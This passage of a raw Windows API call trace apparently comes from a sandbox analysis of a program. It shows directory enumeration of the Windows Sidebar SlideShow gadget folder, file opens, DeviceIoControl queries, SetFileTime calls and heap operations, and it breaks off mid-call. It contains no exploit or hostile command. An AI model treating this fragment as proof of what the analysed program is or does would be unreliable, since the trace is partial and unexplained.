lpOutBuffer=0x1213ae8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0080.896] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1213ae8) returned 1 [0080.896] NtClose (Handle=0x168) returned 0x0 [0080.896] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x122f2f0) returned 1 [0080.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.897] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122f2f0 [0080.897] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.897] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122f500 [0080.897] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0080.897] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.897] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd96c, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideShow.js", cAlternateFileName="")) returned 1 [0080.897] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.897] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.898] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122f3f8 [0080.898] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff418 [0080.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122f818 [0080.899] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.899] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd96c, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideShow.js", cAlternateFileName="")) returned 0 [0080.899] GetLastError () returned 0x12 [0080.899] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9000 [0080.899] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0080.899] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.899] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd96c, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideShow.js", cAlternateFileName="")) returned 1 [0080.899] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd96c, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideShow.js", cAlternateFileName="")) returned 0 [0080.899] GetLastError () returned 0x12 [0080.899] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x122f500) returned 1 [0080.899] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0080.899] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x122f3f8) returned 1 [0080.900] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x122f2f0) returned 1 [0080.900] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1910, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 1 [0080.900] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd64, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideShow.html", cAlternateFileName="")) returned 1 [0080.900] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd64, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideShow.html", cAlternateFileName="")) returned 0 [0080.900] GetLastError () returned 0x12 [0080.900] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x122edc8) returned 1 [0080.900] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0080.900] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x122eed0) returned 1 [0080.900] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x122ecc0) returned 1 [0080.900] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d442339, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x3d442339, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x3d442339, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2732, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0080.900] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0080.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122ecc0 [0080.901] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.901] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0080.902] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0080.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1213ae8 [0080.902] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1213ae8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1213ae8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0080.902] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1213ae8) returned 1 [0080.902] NtClose (Handle=0x174) returned 0x0 [0080.902] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x122ecc0) returned 1 [0080.903] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0080.904] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.904] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b43b7f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85b43b7f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3d468497, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd86, dwReserved0=0x0, dwReserved1=0x0, cFileName="blank.png", cAlternateFileName="")) returned 1 [0080.904] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="in_sidebar", cAlternateFileName="")) returned 1 [0080.904] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d78814d, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x3d78814d, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x3d78814d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="next_down.png", cAlternateFileName="")) returned 1 [0080.904] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85a854ae, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85a854ae, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3d78814d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="next_hov.png", cAlternateFileName="")) returned 1 [0080.904] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85aab60b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85aab60b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3d9c35cf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb57, dwReserved0=0x0, dwReserved1=0x0, cFileName="next_rest.png", cAlternateFileName="")) returned 1 [0080.904] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="on_desktop", cAlternateFileName="")) returned 1 [0080.904] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b69cdc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85b69cdc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3da0f88b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbca, dwReserved0=0x0, dwReserved1=0x0, cFileName="pause_down.png", cAlternateFileName="")) returned 1 [0080.904] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b8fe39, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85b8fe39, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3da359e9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="pause_hov.png", cAlternateFileName="")) returned 1 [0080.904] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b8fe39, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85b8fe39, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3da359e9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb11, dwReserved0=0x0, dwReserved1=0x0, cFileName="pause_rest.png", cAlternateFileName="")) returned 1 [0080.904] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85bb5f96, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85bb5f96, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3da359e9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="play_down.png", cAlternateFileName="")) returned 1 [0080.904] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85bb5f96, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85bb5f96, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3da81ca5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="play_hov.png", cAlternateFileName="")) returned 1 [0080.904] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85bdc0f3, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85bdc0f3, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3daa7e03, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb46, dwReserved0=0x0, dwReserved1=0x0, cFileName="play_rest.png", cAlternateFileName="")) returned 1 [0080.905] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c02250, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85c02250, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3daf40bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="prev_down.png", cAlternateFileName="")) returned 1 [0080.905] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c02250, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85c02250, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3daf40bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xc05, dwReserved0=0x0, dwReserved1=0x0, cFileName="prev_hov.png", cAlternateFileName="")) returned 1 [0080.905] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c283ad, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85c283ad, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3daf40bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb58, dwReserved0=0x0, dwReserved1=0x0, cFileName="prev_rest.png", cAlternateFileName="")) returned 1 [0080.905] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c283ad, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85c283ad, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3daf40bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xc5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="reveal_down.png", cAlternateFileName="")) returned 1 [0080.905] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c283ad, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85c283ad, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3daf40bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xc59, dwReserved0=0x0, dwReserved1=0x0, cFileName="reveal_hov.png", cAlternateFileName="")) returned 1 [0080.905] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c283ad, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85c283ad, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3db1a21d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xba6, dwReserved0=0x0, dwReserved1=0x0, cFileName="reveal_rest.png", cAlternateFileName="")) returned 1 [0080.905] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85ad1768, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85ad1768, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3db1a21d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x61b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tulip.jpg", cAlternateFileName="")) returned 1 [0080.905] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85ad1768, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85ad1768, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3db1a21d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x61b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tulip.jpg", cAlternateFileName="")) returned 0 [0080.905] GetLastError () returned 0x12 [0080.905] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9000 [0080.905] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0080.905] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.905] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b43b7f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85b43b7f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3d468497, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd86, dwReserved0=0x0, dwReserved1=0x0, cFileName="blank.png", cAlternateFileName="")) returned 1 [0080.905] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="in_sidebar", cAlternateFileName="")) returned 1 [0080.905] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\in_sidebar"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.906] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\in_sidebar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0080.906] SetFileTime 